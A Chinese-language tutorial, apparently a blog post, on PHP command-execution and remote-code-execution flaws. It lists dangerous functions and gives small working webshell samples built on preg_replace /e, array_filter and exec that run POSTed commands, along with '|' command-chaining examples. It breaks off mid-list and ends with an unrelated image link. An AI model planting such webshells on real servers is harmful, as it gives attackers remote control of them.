数据来源
命令执行简介
01 命令执行漏洞产生原因

02 命令执行漏洞的危害

03 远程代码执行

1)远程代码执行- eval函数

2)远程代码执行 - assert函数

3)远程代码执行 - preg_replace函数

使用方法和一句话木马一样
示例:
在php的www目录下创建一个preg_replace.php文件,内容如下:
<?php preg_replace("/test/e",$_POST["cmd"],"just test");?>
可以使用菜刀连接或浏览器的插件Hackbar执行

C刀连接


4)远程代码执行- array_map函数

5)远程代码执行 - create_function函数

6)远程代码执行- caLL_user_func函数

这里推荐一个软件utools
我们可以用这个软件下载一些插件或文档,如我这里下载一个php的文档遇到不认识的php代码就可以搜索一下,就不用上百度搜索。


7)远程代码执行- array_filter函数

示例:
www目录下创建一个文件,内容如下:
<?php
$cmd=$_POST['cmd']; // 接收一个post参数
$array1=array($cmd); // 把传入的post参数cmd转换为数组(array_filter接收的就是数组类型)
$func =$_GET['func']; // 接收要执行的操作函数
array_filter($array1,$func);
// 用回调函数过滤数组中的元素:array-filter(数组,函数)
// ?func=system
//cmd=whoam
?>

访问:http://127.0.0.1/array-filter.php?func=system
8)远程代码执行- 双引号
04 远程系统命令执行
1)远程系统命令执行- exec函数
示例:
在php的www目录下创建一个exec.php文件,内容如下:
<?php
$cmd=$_POST['cmd'];
@exec($cmd,$return); // 执行$cmd,并把结果给数组$return
var_dump($return) // 输出$return
?>
访问:http://127.0.0.1/exec.php
执行的结果和在命令行中运行时一样的

2)远程系统命令执行- system函数

3)远程系统命令执行- passthru函数

示例:
在php的www目录下创建一个passthru.php文件,内容如下:
<?php
$output = passthru("ipconfig"); // ipconfig是windows的系统命令,意思是查看ip地址。
echo "<pre>$output</pre>";
?>

访问:http://127.0.0.1/passthru.php

4)远程系统命令执行- shell_exec函数

命令执行常用特殊字符

示例:(windows + R 输入cmd 打开命令行)
1)“|” :cmd1|cmd2 无论cmd1是否执行成功cmd2都会被执行
ping 127.0.0.1|ipconfig

2)“&&” 与






![[架构之路-96]:《软件架构设计:程序员向架构师转型必备》-6-需求与用户用例User Case/Senario建模](https://img-blog.csdnimg.cn/img_convert/8ff8e6fb05fc36ab0194fd5eeb7c15f6.png)












